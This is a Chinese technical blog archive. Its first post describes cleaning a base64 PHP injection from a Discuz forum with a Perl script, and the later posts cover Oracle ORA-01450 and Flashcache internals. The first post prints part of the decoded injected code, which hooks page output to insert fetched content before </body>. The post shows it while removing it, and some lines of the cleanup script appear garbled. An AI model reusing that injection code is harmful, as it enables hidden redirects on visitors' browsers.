NinGoo.net

用perl清理被注入代码的PHP文件

NinGoo — Tue, 06 Mar 2012 22:19:38 +0800

周末在准备澳大利亚的行程，想起半年前申请了一个Welvxing.com的域名，并且也用Discuz X2搭了个论坛(We旅行)，不过一直荒废在那里。趁周末搜集资料时简单的折腾了一下，正好用来记录分享行程攻略。一直用的Chrome也没觉得有什么异常，偶尔用IE打开的时候发现会自动跳转到一个莫名其妙的网站。一想坏了，可能被注入代码了，一看PHP源文件，果然在第一行被注入了一段base64加密过的代码(本来想将代码贴进来，不过Dreamhost不让这么干，一直报503错误，只好作罢)。

解码以后的代码为：



if(function_exists('ob_start')&&!isset($_SERVER['mr_no'])){  $_SERVER['mr_no']=1;    if(!function_exists('mrobh')){    function get_tds_777($url{$content="";$content=@trycurl_777($url);

...此处省略若干行

function mrobh($content){  @Header('Content-Encoding: none');  $decoded_content=gzdecodeit($content);  if(preg_match('/\<\/body/si',$decoded_content)){  return preg_replace('/(\<\/body[^\>]*\>)/si',gml_777()."\n".'$1',$decoded_content);  }else{  return $decoded_content.gml_777();  }  }  ob_start('mrobh');  }  }

头疼的时，几乎所有的PHP文件都受影响了，2000个多啊，手工改还不要了亲命了。好在有Perl帮忙，遍历所有子目录的文件也不需要写递归，简单几行代码就可以搞定了：



#!/usr/bin/perl

use File::Find;
sub clean_file {

  my $file = shift;

  my $tmp = $file.".tmp";
  print "clean file $file ...\n";

  open(FILE, $file) or die "can not open $file\n";

  open(TMP, ">$tmp") or die "can not open $tmp\n";

  while(){

    my $line = $_;

    $line =~ s/^.*aWYoZnVuY3Rpb25fZXhpc.*$/
    $line =~ s/\r\n$/\n/;

    print TMP $line;

  }

  close(FILE);

  close(TMP);
  system("mv $tmp $file");

}
sub process {

  my $file = $File::Find::name;

  if ($file =~/\.(php)$/i){

    clean_file($file);

  }

}

find(\&process, '/home/ningoo/welvxing.com');

注：清理之前注意备份现场，要是脚本有点小问题，到时候就追悔莫及了^_^

偶遇ORA-01450

NinGoo — Wed, 29 Feb 2012 13:35:34 +0800

这几天在测试环境部署一个适合多种操作系统多种数据库多实例的监控脚本的时候，在一台测试库上监控到一个索引失效，于是根据提示尝试online rebuild

alter index NINGOO.IDX_TEST_KPI_NAME rebuild online compute statistics;  

SQL> alter index NINGOO.IDX_TEST_KPI_NAME rebuild online compute statistics;
alter index NINGOO.IDX_TEST_KPI_NAME rebuild online compute statistics
*
ERROR at line 1:
ORA-00604: error occurred at recursive SQL level 1
ORA-01450: maximum key length (3215) exceeded

看了下索引是创建在一个varchar2(4000)的列上的：

SQL>  select table_name,column_name,column_length from all_ind_columns where index_name='IDX_TEST_KPI_NAME';

TABLE_NAME      COLUMN_NAME            COLUMN_LENGTH
--------------- ---------------------- -------------
TEST            KPI_NAME               4000

我们知道一个index key不能跨多个block，所以key的长度有限制的。但是索引既然创建成功，这个要求肯定是满足的。实际测试下，对于8K的block，这个限制应该是6398字节。

SQL>  create table test1(a varchar2(4000),b varchar2(4000));
Table created.

SQL> create index ix_test1 on test1(a,b);
create index ix_test1 on test1(a,b)
                         *
ERROR at line 1:
ORA-01450: maximum key length (6398) exceeded

那为什么4000字节的key在online rebuild的时候会有问题呢？而创建和正常rebuild操作都是正常的。

SQL>  create index ix_test1 on test1(a);
Index created.

SQL> alter index ix_test1 rebuild online;
alter index ix_test1 rebuild online
*
ERROR at line 1:
ORA-00604: error occurred at recursive SQL level 1
ORA-01450: maximum key length (3215) exceeded

SQL> alter index ix_test1 rebuild;
Index altered.

原因在于IOT表的一些限制，我们可以创建一个IOT表验证一下：

SQL> create table test_iot1(a varchar2(4000),b varchar2(4000),
  2               constraint iot1_pk primary key(a,b))
  3                organization index;
create table test_iot1(a varchar2(4000),b varchar2(4000),
*
ERROR at line 1:
ORA-01450: maximum key length (3215) exceeded

Online rebuild的过程中需要创建一个临时的IOT表，所以online rebuild的index 的key的长度限制就被大大缩短了。这一点在我们设计系统的索引的时候要特别注意，如果前期设计的索引超过了IOT index key的长度限制，则后期的维护成本会更高，因为无法online rebuild，则rebuild的时候就会锁表导致业务受到较长时间的中断。

当然，实际业务场景中，在varchar2(4000)列上创建索引并不常见，如果真的需要，也可以考虑只创建部分前缀的函数索引，但这需要业务的SQL也做相应修改，这一点上，PostgreSQL直接支持的前缀索引就要灵活得多。

SQL> create index ix_test1_2 on test1(substr(a,1,100));
Index created.

SQL> alter index ix_test1_2 rebuild online;
Index altered.

对于这个问题，旺旺同学和Jonathan Lewis同学很早就有描述，只是没碰到一般很少碰到key这么长的索引而不容易注意到，再次记录下备忘。

深入浅出Flashcache（五）

NinGoo — Sat, 14 Jan 2012 00:12:14 +0800

前几天因为测试新版的Flashcache，为了便于监控性能指标，用Perl写了个秒级的监控程序Flashstat，一开始是通过定期获取dmsetup status的信息做解析，后来在flashcache-dev邮件列表中讨论时，Flashcache的作者Mohan Srinivasan说他已经将dmsetup status的信息暴露在/proc/flashcache_stats中，可以更加方便的解析。

实际上，不同版本的Flashcache，输出的性能指标有一些变化。较老的stable_v1版本的性能指标暴露在/proc/flashcache_stats，但是有些重要的指标没有包含进来，例如metadata ssd writes。而新版本支持一个系统中创建多个flashcache设备，因此位置修改成了/proc/flashcache/ssddev+diskdev/flashcache_stats，其中ssddev+diskdev根据实际的设备名不同而不同，例如在上一篇我们创建的模拟设备就应该是loop0+loop1，同时sysctl参数也根据设备名可以设置多组。为了兼容，flashstat针对老版本的flashcache还是解析dmsetup status的信息，而针对新版本则解析/proc中的flashcache_stats。

Flashstat的项目地址为：https://github.com/NinGoo/flashstat，和Mohan讨论过后，他已经将这个小工具接纳并merge到了主干代码，因此现在下载Flashcache的源码，已经在utils目录中包含了这个小工具，希望对Flashcache的用户有点用处。

Flashstat的用法很简单，指定监控时间间隔（-i 默认1s），监控次数（-c 默认0表示一直监控），flashcache设备（-d 默认/dev/mapper/cachedev）即可。如果需要将结果重定向到文件，则建议关闭ANSI颜色显示，使用-n或者–nocolor选项即可。

输出结果：

  read/s                reads per second for cachedev
  write/s               writes per second for cachedev
  diskr/s               disk reads per second
  diskw/s               disk writes per second
  ssdr/s                ssd reads per second
  ssdw/s                ssd writes per second
  uread/s               uncached reads per second
  uwrit/s               uncached writes per second
  metaw/s               metadata ssd writes per second
  clean/s               cleanings per second
  repl/s                replacement per second
  wrepl/s               write replacement per second
  hit%                  read hit percent(current hit%|total hit%)
  whit%                 write hit percent(current whit%|total whit%)
  dwhit%                dirty write hit percent(current dwhit%|total dwhit%)

在前两天的一次测试过程中，发现iostat中disk device的svctm的波动比较大，当时利用flashstat很快定位了波动的原因。测试场景是MySQL的纯读场景，disk device的svctm一般都小于1ms，偶尔会波动到2ms，4ms甚至6ms以上，但没有超过8ms。

首先查看raid卡的cache策略

$sudo /opt/MegaRAID/MegaCli/MegaCli64 -LDGetProp -Cache -LALL -aALL
Adapter 0-VD 0(target id: 0): Cache Policy:WriteBack, ReadAheadNone, Direct, Write Cache OK if bad BBU

所有Raid卡不会缓存读操作，如果读IO透过flashcache落到了disk，那响应时间应该在6ms左右是正常的。而Raid卡会缓存写操作，写的响应时间就会短很多，一般在1ms以内。所以iostat显示的小于1ms的svctm，应该是混合了读写的平均响应时间的结果。但MySQL测试的场景是纯读，只有select，哪里来的写呢？通过flashstat发现clean/s和diskw/s一直持续有较大的值，原来是新版本的flashcache增加了根据脏块的过期时间后台刷出的特性，于是尝试关闭该特性

$sudo sh -c "echo 0 > /proc/sys/dev/flashcache/fioa+sdb1/fallow_delay"

再观察flashstat的结果，发现clean/s, diskw/s变为0，同时iostat -x显示sdb的svctm时间稳定在5ms左右了。也就是说，之前看到的svctm时间不稳定，是由于flashcache后台刷出过期脏块的波动导致的，当刷出写入disk的力度较大时，由于写的响应时间较短（一般在100～200微妙），iostat的读写混合平均响应时间较低，而当写出较少时，iostat的读写混合平均响应时间反而较高了。用数据说话，但如果数据是平均值，则很容易掩盖掉一些瞬间的波动的珍视情况，尽信数据，不如无数据。

另外，利用blkiomon，也可以很好的验证上面的结论。blkiomon可以看到不同大小的io的响应时间的分布，根据blkiomon的输出结果，可以比较方便的分析io的行为，帮助追踪和确认很多的io工具，一大神器。

下面是一个输出的示例，可以看到，1369次读io的平均大小是13k，平均响应时间约5.5ms，而245次写io的平均大小约20k，平均响应时间约203微秒。响应时间分布中，1毫秒以内的io次数有244次（差不多都是写），最快的响应时间只有26微妙。2毫秒以上的有1370次（差不读多都是读），响应最慢的有一次达到35毫秒。

$sudo  mount -t debugfs none /sys/kernel/debug/

$sudo  blktrace /dev/sdb -a issue -a complete -w 3600 -o - | blkiomon -I 5 -h -

time: Fri Jan 13 23:50:43 2012
device: 8,16
sizes read (bytes): num 1369, min 4096, max 16384, sum 18919424, squ 286236082176, avg 13819.9, var 18094812.6
sizes write (bytes): num 245, min 4096, max 131072, sum 5124096, squ 317106159616, avg 20914.7, var 856887118.5
d2c read (usec): num 1369, min 154, max 35396, sum 7526791, squ 51513446469, avg 5498.0, var 7400285.0
d2c write (usec): num 245, min 26, max 9605, sum 49959, squ 238326529, avg 203.9, var 931180.3
throughput read (bytes/msec): num 1369, min 298, max 106389, sum 4275218, squ 28512922538, avg 3122.9, var 11075196.9
throughput write (bytes/msec): num 245, min 2287, max 970903, sum 54430349, squ 24934376050407, avg 222164.7, var 52415814078.9
sizes histogram (bytes):
            0:     0         1024:     0         2048:     0         4096:   217
         8192:   212        16384:  1129        32768:    25        65536:    11
       131072:    20       262144:     0       524288:     0      1048576:     0
      2097152:     0      4194304:     0      8388608:     0    > 8388608:     0
d2c histogram (usec):
            0:     0            8:     0           16:     0           32:     8
           64:    99          128:    61          256:    73          512:     1
         1024:     2         2048:    52         4096:   350         8192:   809
        16384:   151        32768:     7        65536:     1       131072:     0
       262144:     0       524288:     0      1048576:     0      2097152:     0
      4194304:     0      8388608:     0     16777216:     0     33554432:     0
    >33554432:     0
bidirectional requests: 0

参考文章：
[1] Flashcache README
[2] IO模式调查利器blkiomon介绍

深入浅出Flashcache（四）

NinGoo — Tue, 10 Jan 2012 13:38:32 +0800

年底事情比较多，中断了一段时间，这一篇总算要说到Flashcache本身了。由于是内核模块，安装的时候需要内核源码树。具体的安装过程可以参考这里。

make -j 4 KERNEL_TREE=/usr/src/kernels/2.6.32-131.0.15.el6.x86_64
sudo make install

最初版本的Flashcache只支持writeback，后来单独开了一个支持writethrough的分支在flashcache-wt目录，但目前最新的版本已经将write through合并到主版本，并且增加了write around策略。

最新的源码可以到Github获取。

env GIT_SSL_NO_VERIFY=true git clone https://github.com/facebook/flashcache.git

建议下载完源码后的第一件事，就是去doc下阅读flashcache-doc.txt和flashcache-sa-guide.txt，保证比我则几篇blog有养分得多。

不是每个人都有SSD/PCI-E Flash的硬件，所以这里可以给大家一个构建虚拟混合存储设备的小技巧，这样即使是在自己的笔记本上，也可以轻松的模拟Flashcache的试验环境，而且随便折腾。

首先，我们可以用内存来模拟一个性能很好的Flash设备，当然这有一个缺点，就是主机重启后就啥都没了，不过用于实验测试这应该不是什么大问题。用内存来模拟块设备有两种方法，ramdisk或者tmpfs+loop device。由于ramdisk要调整大小需要修改grub并重启，这里我们用tmpfs来实现。

# 限制tmpfs最大不超过10G，避免耗尽内存(测试机器有24G物理内存)
$sudo mount tmpfs /dev/shm -t tmpfs -o size=10240m
# 创建一个2G的文件，用来模拟2G的flash设备
$dd if=/dev/zero of=/dev/shm/ssd.img bs=1024k count=2048
# 将文件模拟成块设备
$sudo losetup /dev/loop0 /dev/shm/ssd.img

解决了cache设备，还需要有disk持久设备。同样的，可使用普通磁盘上的文件来虚拟成一个loop device。

# 在普通磁盘的文件系统中创建一个4G的文件，用来模拟4G的disk设备
$dd if=/dev/zero of=/u01/jiangfeng/disk.img bs=1024k count=4096
$sudo losetup /dev/loop1 /u01/jiangfeng/disk.img

这样我们就有了一个快速的设备/dev/loop0，一个慢速的磁盘设备/dev/loop1，可以开始创建一个Flashcache混合存储设备了。

$sudo flashcache_create -p back cachedev /dev/loop0 /dev/loop1
cachedev cachedev, ssd_devname /dev/loop0, disk_devname /dev/loop1 cache mode WRITE_BACK
block_size 8, md_block_size 8, cache_size 0
Flashcache metadata will use 8MB of your 48384MB main memory

$sudo mkfs.ext3 /dev/mapper/cachedev
mke2fs 1.41.12 (17-May-2010)
Filesystem label=
OS type: Linux
Block size=4096 (log=2)
Fragment size=4096 (log=2)
Stride=0 blocks, Stripe width=0 blocks
262144 inodes, 1048576 blocks
52428 blocks (5.00%) reserved for the super user
First data block=0
Maximum filesystem blocks=1073741824
32 block groups
32768 blocks per group, 32768 fragments per group
8192 inodes per group
Superblock backups stored on blocks:
        32768, 98304, 163840, 229376, 294912, 819200, 884736

Writing inode tables: done
Creating journal (32768 blocks): done
Writing superblocks and filesystem accounting information: done

This filesystem will be automatically checked every 28 mounts or
180 days, whichever comes first.  Use tune2fs -c or -i to override.

$sudo mount /dev/mapper/cachedev /u03

Ok，检查一下，就可以开始做一些模拟测试啦。

$sudo dmsetup table
cachedev: 0 8388608 flashcache conf:
        ssd dev (/dev/loop0), disk dev (/dev/loop1) cache mode(WRITE_BACK)
        capacity(2038M), associativity(512), data block size(4K) metadata block size(4096b)
        skip sequential thresh(0K)
        total blocks(521728), cached blocks(83), cache percent(0)
        dirty blocks(0), dirty percent(0)
        nr_queued(0)
Size Hist: 4096:84 

$sudo dmsetup status
cachedev: 0 8388608 flashcache stats:
        reads(84), writes(0)
        read hits(1), read hit percent(1)
        write hits(0) write hit percent(0)
        dirty write hits(0) dirty write hit percent(0)
        replacement(0), write replacement(0)
        write invalidates(0), read invalidates(0)
        pending enqueues(0), pending inval(0)
        metadata dirties(0), metadata cleans(0)
        metadata batch(0) metadata ssd writes(0)
        cleanings(0) fallow cleanings(0)
        no room(0) front merge(0) back merge(0)
        disk reads(83), disk writes(0) ssd reads(1) ssd writes(83)
        uncached reads(0), uncached writes(0), uncached IO requeue(0)
        uncached sequential reads(0), uncached sequential writes(0)
        pid_adds(0), pid_dels(0), pid_drops(0) pid_expiry(0)

$sudo sysctl -a | grep flashcache
dev.flashcache.loop0+loop1.io_latency_hist = 0
dev.flashcache.loop0+loop1.do_sync = 0
dev.flashcache.loop0+loop1.stop_sync = 0
dev.flashcache.loop0+loop1.dirty_thresh_pct = 20
dev.flashcache.loop0+loop1.max_clean_ios_total = 4
dev.flashcache.loop0+loop1.max_clean_ios_set = 2
dev.flashcache.loop0+loop1.do_pid_expiry = 0
dev.flashcache.loop0+loop1.max_pids = 100
dev.flashcache.loop0+loop1.pid_expiry_secs = 60
dev.flashcache.loop0+loop1.reclaim_policy = 0
dev.flashcache.loop0+loop1.zero_stats = 0
dev.flashcache.loop0+loop1.fast_remove = 0
dev.flashcache.loop0+loop1.cache_all = 1
dev.flashcache.loop0+loop1.fallow_clean_speed = 2
dev.flashcache.loop0+loop1.fallow_delay = 900
dev.flashcache.loop0+loop1.skip_seq_thresh_kb = 0

参考文档：
[1] Flashcace安装 How-to
[2] Flashcache中文简介——Linux上的回写块缓存
[3] tmpfs from wikipedia
[4] loop device from wikipedia

深入浅出Flashcache（三）

NinGoo — Sat, 10 Dec 2011 01:50:51 +0800

前文简单介绍了block device和device mapper。有了这两个基础，再来看flashcache的代码，就容易理解多了。Flashcache是一个内核模块，要更清晰的理解代码，还需要了解一下内核模块编写的一些基础知识。好吧，虽然对于内核编程我完全是个门外汉，这里还是需要现学现卖下。所以这一篇还是不会切入正题，已经熟悉Linux内核模块的同学请忽略并耐心等待。

Linux内核支持动态的加载模块（Loadable Kernel Module，LKM）以完成某些特定的功能，模块编程需要按照一定的格式以便可以和内核交互。

5. 内核符号表

内核模块之间的交互需要通过特定的共享变量和函数，这些都需要输出到内核符号表。在模块编程中使用EXPORT_SYMBOL来进行定义。在内核中则使用了kernel_symbol结构来保存符号表信息。

# 内核编程基本上都需要包含如下三个头文件。
#include
#include
#include

#内核符号表结构体
struct kernel_symbol
{
    unsigned long value; #函数地址
    const char *name;    #函数名
};

# 导出符号的宏定义
#define EXPORT_SYMBOL(sym) __EXPORT_SYMBOL(sym, "")

#define __EXPORT_SYMBOL(sym, sec)                               \
        extern typeof(sym) sym;                                 \
        __CRC_SYMBOL(sym, sec)                                  \
        static const char __kstrtab_##sym[]                     \
        __attribute__((section("__ksymtab_strings"), aligned(1))) \
        = MODULE_SYMBOL_PREFIX #sym;                            \
        static const struct kernel_symbol __ksymtab_##sym       \
        __used                                                  \
        __attribute__((section("__ksymtab" sec), unused))       \
        = { (unsigned long)&sym, __kstrtab_##sym }

输出的符号表可以在/proc/kallsyms查看到。

6. 模块入口/退出函数

一般的c程序的入口函数是main，但模块的入口函数是module_init，退出函数则是module_exit。当内核启动或者执行insmod时执行module_init定义的函数，到内核关闭或者rmmod时执行module_exit定义的函数。

#define module_init(x)  __initcall(x);
#define module_exit(x)  __exitcall(x);

当然，还有一些宏定义了模块的一些信息，如
MODULE_AUTHOR
MODULE_DESCRIPTION
MODULE_ALIAS
MODULE_LICENSE
MODULE_PARM_DESC

7. 内存分配

内核中不能使用用户空间的malloc()和free()来分配/回收内存。而需要使用内核空间的内存分配/回收工作，常用的有kmalloc/kfree，基于slab内存分配算法：

void *kmalloc(size_t size, gfp_t flags)
void kfree(const void *objp)

对于slab内存分配器，这里不再详细展开。通过/proc/slabinfo或者slabtop可以查看slab内存分配的一些情况。

另外，在内核中也不能使用用户态的printf来输出信息，而需要使用内核态的printk。

8. 模块工具

8.1 insmod
Linux模块编译好以后一般是.ko文件，通过执行insmod可以将编译好的模块加载到内核中。在装载内核模块时，用户可以向模块传递一些参数：

$ sudo insmod mod_name var=key

8.2 rmmod
rmmod则用来卸载已经加载到内核的模块

$sudo rmmod mod_name

8.3 lsmod
lsmod可以列出已经加载到内核中的模块

lsmod
Module                  Size  Used by
nf_conntrack_ipv6       8785  1
aes_i586                7244  2
aes_generic            26755  1 aes_i586
ipt_MASQUERADE          1315  0
xt_state                 930  2
...

也可以通过/proc/modules来获取内核模块列表。

8.4 modinfo

查看某个模块的信息

$ modinfo raid0
filename:       /lib/modules/2.6.36-ningoo/kernel/drivers/md/raid0.ko
alias:          md-level-0
alias:          md-raid0
alias:          md-personality-2
description:    RAID0 (striping) personality for MD
license:        GPL
srcversion:     2CFE19548162CD6E80EE58B
depends:
vermagic:       2.6.36-ningoo SMP mod_unload modversions CORE2

8.5 modprobe

modprobe是一个比较强大的工具，既可以列出已经安装的模块信息，也可以用来加载/卸载模块，并且能够处理同时将依赖的模块自动进行加载。

$ modprobe -l

$ sudo modprobe -r mod_name
$ sudo modprobe mod_name

/etc/modprobe.conf和/etc/modprobe.d/保存了一些modprobe可能用到的配置。

未完待续

参考：
[1] 2.6内核模块编程实例指导
[2] 小白学Linux之内核模块编程

深入浅出Flashcache（二）

NinGoo — Sat, 03 Dec 2011 16:53:42 +0800

前文简单的介绍了block device，别急，虽然这个系列的主要目的是介绍Flashcache，这一篇还是不会切入正题，因为我们还需要先了解下什么是device mapper。

假如一台主机插入了多块硬盘，单块硬盘的容量和性能都是有限的，如果能将多块硬盘组合一个逻辑的整体，对于这台主机来讲，就实现了最简单意义上的“云存储”。有很多方法可以实现这个目的，比如Raid卡硬件，比如现在很流行的分布式文件系统的replica机制，等等。Linux内核也看到了这个需求，于是2.6有了device mapper，当然device mapper不只是满足这一个需求，对于多路径IO也做了支持。

3. Device Mapper

简单来讲，Device Mapper是一种组合多个块设备变成一个逻辑块设备的机制。

Device Mapper的设计实现主要分为三层：

Mapped Device：映射出的逻辑设备
Mapping Table：映射规则表
Taget Device：底层的实际设备（可以是物理的块设备，也可以是Device Mapper映射出的逻辑设备），根据组合规则的不同，实际设备的使用方式不一样，区分为不同的类型。

(图片出处：参考[1])

Target device的类型，内核自带的几种包括（linux/include/linux/device-mapper.h）：

linear: 线性，顺序使用target
mirror: 镜像，类似于Raid 1
stripped：条带，类似Raid 0
snapshot: 快照，LVM2的快照基于此实现
multipath: 多路径IO
crypt: 加密，可以实现加密存储
delay: 延时IO
…

Target type是一种模块化的插件接口，允许自定义。Flashcache就是利用这个接口定义了一种新的target type，将SSD和普通磁盘定义为两种新的target device，设计了缓存的映射规则，逻辑组合成一种新的块设备。

3.1 mapped_device

mapped_device定义了逻辑设备，对内核来说，可以把逻辑设备当作一种普通的block_device。

struct mapped_device {
    struct request_queue *queue;
    struct gendisk *disk;
    char name[16];
    void *interface_ptr;
    struct workqueue_struct *wq;
    struct dm_table *map;
    struct bio_set *bs;
    struct block_device *bdev;
    make_request_fn *saved_make_request_fn;
    ...
};

3.2 dm_table

dm_table描述了逻辑设备和物理设备之间的映射关系。

struct dm_table {
    struct mapped_device *md;
    atomic_t holders;
    unsigned type;
    unsigned int num_targets;
    struct dm_target *targets;
    struct list_head devices;
    fmode_t mode;
    ...
 };

3.3 dm_target

dm_target定义了一个具体的target device。

struct dm_target {
    struct dm_table *table;
    struct target_type *type;
    void *private;
    ...
 };

3.4 target_type

target_type定义一种target device的类型。其中有几个比较重要的函数:

map: io映射规则函数
ctr: 设备构造函数
dtr: 设备析构函数
end_io: IO操作完成后调用
status：获取设备状态信息
ioctl：ioctl接口

struct target_type {
    uint64_t features;
    const char *name;
    struct module *module;
    unsigned version[3];
    dm_ctr_fn ctr;
    dm_dtr_fn dtr;
    dm_map_fn map;
    dm_map_request_fn map_rq;
    dm_endio_fn end_io;
    dm_request_endio_fn rq_end_io;
    dm_flush_fn flush;
    dm_presuspend_fn presuspend;
    dm_postsuspend_fn postsuspend;
    dm_preresume_fn preresume;
    dm_resume_fn resume;
    dm_status_fn status;
    dm_message_fn message;
    dm_ioctl_fn ioctl;
    dm_merge_fn merge;
    dm_busy_fn busy;
    dm_iterate_devices_fn iterate_devices;
    dm_io_hints_fn io_hints;
    /* For internal device-mapper use. */
    struct list_head list;
};

3.5 dm_register_target

dm_register_target函数用于注册一个新的target type。

int dm_register_target(struct target_type *tt)
{
    ...
    list_add(&tt->list, &_targets);
    ...
}

3.6 dm_io

dm-io为device mapper提供同步或者异步的io服务。

使用dm-io必须设置dm_io_region结构（2.6.26版本以前叫io_region），该结构定义了io操作的区域，读一般针对一个dm_io_region区，而写可以针对一组dm_io_region区。

struct dm_io_region {
    struct block_device *bdev;
    sector_t sector;
    sector_t count;         /* If this is zero the region is ignored. */
};

dm-io一共有四种dm_io_mem_type类型（老一点的内核版本只有前面三种，Flashcache主要使用DM_IO_BVEC）:

enum dm_io_mem_type {
    DM_IO_PAGE_LIST,/* Page list */
    DM_IO_BVEC,     /* Bio vector */
    DM_IO_VMA,      /* Virtual memory area */
    DM_IO_KMEM,     /* Kernel memory */
};

struct dm_io_memory {
    enum dm_io_mem_type type;
    union {
            struct page_list *pl;
            struct bio_vec *bvec;
            void *vma;
            void *addr;
    } ptr;

    unsigned offset;
};

dm-io通过dm_io_request结构来封装请求的类型，如果设置了dm_io_notify.fn则是异步IO，否则是同步IO。

struct dm_io_request {
    int bi_rw;                      /* READ|WRITE - not READA */
    struct dm_io_memory mem;        /* Memory to use for io */
    struct dm_io_notify notify;     /* Synchronous if notify.fn is NULL */
    struct dm_io_client *client;    /* Client memory handler */
};

使用dm_io服务前前需要通过dm_io_client_create函数（在2.6.22版本前是dm_io_get）先创建dm_io_client结构，为dm-io的执行过程中分配内存池。使用dm-io服务完毕后，则需要调用dm_io_client_destroy函数（在2.6.22版本前是dm_io_put）释放内存池。

struct dm_io_client {
    mempool_t *pool;
    struct bio_set *bios;
};

dm-io函数执行具体的io请求。

int dm_io(struct dm_io_request *io_req, unsigned num_regions,
      struct dm_io_region *where, unsigned long *sync_error_bits)
{
    int r;
    struct dpages dp;

    r = dp_init(io_req, &dp);
    if (r)
            return r;

    if (!io_req->notify.fn)
            return sync_io(io_req->client, num_regions, where,
                           io_req->bi_rw, &dp, sync_error_bits);

    return async_io(io_req->client, num_regions, where, io_req->bi_rw,
                    &dp, io_req->notify.fn, io_req->notify.context);
}

3.7 kcopyd

kcopyd提供了一种异步copy服务，可以将一个block device上的一组连续扇区复制到一个或者多个block device中，很明显，这在mirror/snapshot等target type中是非常需要的功能。实际上flashcache也利用了该功能来实现cache的机制。

使用kcopyd前需要先通过dm_kcopyd_client_create函数（2.6.26版本前叫做kcopyd_client_create）创建一个dm_kcopyd_client

struct dm_kcopyd_client {
    spinlock_t lock;
    struct page_list *pages;
    unsigned int nr_pages;
    unsigned int nr_free_pages;

    struct dm_io_client *io_client;
    wait_queue_head_t destroyq;
    atomic_t nr_jobs;
    mempool_t *job_pool;

    struct workqueue_struct *kcopyd_wq;
    struct work_struct kcopyd_work;

    spinlock_t job_lock;
    struct list_head complete_jobs;
    struct list_head io_jobs;
    struct list_head pages_jobs;
};

dm_kcopyd_client维护了三job队列，一个等待内存页pages_jobs，一个已经获得内存页等待io命令io_jobs，一个等待io完成complete_jobs，这三个job队列都由job_lock锁保护。job队列由kcopyd_job结构组成。

struct kcopyd_job {
    struct dm_kcopyd_client *kc;
    struct list_head list;
    unsigned long flags;
    int read_err;
    unsigned long write_err;
    int rw;  # READ or WRITE
    struct dm_io_region source;
    unsigned int num_dests;
    struct dm_io_region dests[DM_KCOPYD_MAX_REGIONS];
    sector_t offset;
    unsigned int nr_pages;
    struct page_list *pages;
    dm_kcopyd_notify_fn fn;
    void *context;
    struct mutex lock;
    atomic_t sub_jobs;
    sector_t progress;
 };

dm_kcopyd_copy函数执行实际的copy动作，kcopyd一种异步任务，所以需要预先定义回调函数dm_kcopyd_notify_fn。

int dm_kcopyd_copy(struct dm_kcopyd_client *kc, struct dm_io_region *from,
                unsigned int num_dests, struct dm_io_region *dests,
               unsigned int flags, dm_kcopyd_notify_fn fn, void *context)
{
    struct kcopyd_job *job;
    job = mempool_alloc(kc->job_pool, GFP_NOIO);
    job->kc = kc;
    job->flags = flags;
    job->read_err = 0;
    job->write_err = 0;
    job->rw = READ;
    job->source = *from;
    job->num_dests = num_dests;
    memcpy(&job->dests, dests, sizeof(*dests) * num_dests);
    job->offset = 0;
    job->nr_pages = 0;
    job->pages = NULL;
    job->fn = fn;
    job->context = context;

    if (job->source.count < SUB_JOB_SIZE)
            dispatch_job(job);
    else {
            mutex_init(&job->lock);
            job->progress = 0;
            split_job(job);
    }
    return 0;
}

4. Device Mapper工具

操作系统提供了一些管理device mapper的工具，需要确认相关的包已经安装。

$rpm -qa | grep device-mapper
device-mapper-libs-1.02.62-3.el6.x86_64
device-mapper-1.02.62-3.el6.x86_64
device-mapper-event-libs-1.02.62-3.el6.x86_64
device-mapper-event-1.02.62-3.el6.x86_64

4.1 dmsetup

Device Mapper的工具主要是dmsetup，可以用来创建/修改/删除/查看DM设备，Flashcache的创建和装载工具flashcache_create/flashcache_load都是调用的dmsetup，只是自己包装了一层。

创建一个新的dm设备的语法为：

dmsetup create dm_device start_sector nr_sectors target argument

不同的target type，带的argument不一样，ctl函数定义了如何根据参数来构建dm设备的逻辑。如果组合的参数规则复杂，也可以将参数写入到文件中，然后通过文件参数来执行创建。

dmsetup create dm_device file_name

以下是一个已经创建好的Flashcache设备的信息：

$sudo dmsetup info
Name:              cachedev
State:             ACTIVE
Read Ahead:        256
Tables present:    LIVE
Open count:        1
Event number:      0
Major, minor:      253, 0
Number of targets: 1

$sudo dmsetup status
cachedev: 0 3093559296 flashcache stats:
	reads(731952), writes(554131825)
	read hits(663370), read hit percent(90)
	write hits(429687559) write hit percent(77)
	dirty write hits(185872576) dirty write hit percent(33)
	replacement(31918), write replacement(13045343)
	write invalidates(0), read invalidates(1)
	pending enqueues(13604453), pending inval(13604453)
	metadata dirties(347477454), metadata cleans(347477257)
	metadata batch(665458755) metadata ssd writes(29495864)
	cleanings(347468476) fallow cleanings(536679)
	no room(7246713) front merge(286174542) back merge(57729678)
	disk reads(68585), disk writes(368002849) ssd reads(347815066) ssd writes(562902592)
	uncached reads(1098), uncached writes(20849965), uncached IO requeue(0)
	uncached sequential reads(0), uncached sequential writes(0)
	pid_adds(2), pid_dels(2), pid_drops(0) pid_expiry(0)

$sudo dmsetup table
cachedev: 0 3093559296 flashcache conf:
	ssd dev (/dev/fioa), disk dev (/dev/sdb1) cache mode(WRITE_BACK)
	capacity(306408M), associativity(512), data block size(4K) metadata block size(4096b)
	skip sequential thresh(0K)
	total blocks(78440448), cached blocks(77048243), cache percent(98)
	dirty blocks(102), dirty percent(0)
	nr_queued(0)
Size Hist: 1024:2 4096:555006431

未完待续

参考：
[1].Understanding Device-mapper in Linux 2.6 Kernel [Oracle Support ID 456239.1]
[2].Linux 内核中的 Device Mapper 机制
[3].Device-mapper Resource Page
[4].Linux Kernel Documents dm-io.txt
[5].Linux Kernel Documents kcopyd.txt

深入浅出Flashcache（一）

NinGoo — Sat, 03 Dec 2011 15:11:14 +0800

Cache is king.

在计算机系统中，cache的魔爪无处不在。CPU中有L1,L2,甚至L3 cache;Linux有pagecache，MySQL有buffer cache/query cache;IO系统中Raid卡/磁盘也有cache;在大型互联网系统中，数据库前面一般也都有一层memcache。Cache是容量与性能之前取平衡的结果，以更低的成本，获得更高的收益，是系统设计时应该遵循的原则。

传统机械硬盘几十年来，容量不断翻倍的增长，相比较而言，性能的增长就慢的像蜗牛了。对于依赖IO性能的应用，典型的如数据库，一直在等待新的技术来拯救。在此之前，身躯庞大的高端存储，动辄重达几吨。相比于存储里带的硬盘来说，价格贵得离谱，而存储的附加价值，在于io在大量硬盘之间的均衡分布，以及IO链路的多路容灾，以及部分固件层面的优化和数据保护等。

Flash disk(SSD/FusionIO等)的出现，改变了这一切。Flash disk将硬盘从机械产品变成了电气产品，功耗更小，性能更好，时延更优，看起来传统硬盘已经不堪一击，数据库欢欣鼓舞，新的革命似乎将一夕成功。但新东西也有它致命的缺陷，价格和经过时间检验的稳定性。

